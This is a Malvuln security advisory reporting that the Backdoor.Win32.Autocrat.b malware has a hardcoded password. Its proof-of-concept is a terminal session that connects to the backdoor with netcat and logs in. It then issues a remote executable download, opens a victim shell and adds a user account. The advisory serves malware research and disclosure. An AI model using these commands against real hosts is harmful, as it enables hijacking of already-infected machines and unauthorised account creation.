Backdoor.Win32.Autocrat.b malware suffers from a weak hardcoded credential vulnerability.
d7a1dbe69c51797b7a119cf51d50bfdc0cf2f5d6383559a3c42e0b551d24f2ffDiscovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/4262a8b52b902aa2e6bf02a156d1b8d4.txt
Contact: [email protected]
Media: twitter.com/malvuln
Backup media: infosec.exchange/@malvuln
Threat: Backdoor.Win32.Autocrat.b
Vulnerability: Weak Hardcoded Credentials
Description: The malware is packed with PeCompact, listens on TCP port 8536 and requires authentication. However, the password "autocrat" is weak and hardcoded within the PE file. Unpacking the executable, easily reveals the cleartext password.
Family: Autocrat
Type: PE32
MD5: 4262a8b52b902aa2e6bf02a156d1b8d4
Vuln ID: MVID-2022-0660
Dropped files: srvsupp.exe
Disclosure: 11/24/2022
Exploit/PoC:
C:\Users\gg\Desktop>nc64.exe x.x.x.x 8536
Login:autocrat
WinShell v5.0 (C)2002 janker.org
? for help
CMD>?
i Install
r Remove
p Path
b reBoot
d shutDown
s Shell
x eXit
q Quit
Download:
CMD>http://.../srv.exe
? for help
CMD>s
Microsoft Windows [Version 10.0.16299.309]
(c) 2017 Microsoft Corporation. All rights reserved.
C:\Users\Victim\Desktop>whoami
whoami
desktop-2c3iqho\victim
C:\Users\Victim\Desktop>net user apparitionsec 666 /add
net user apparitionsec 666 /add
The command completed successfully.
C:\Users\Victim\Desktop>
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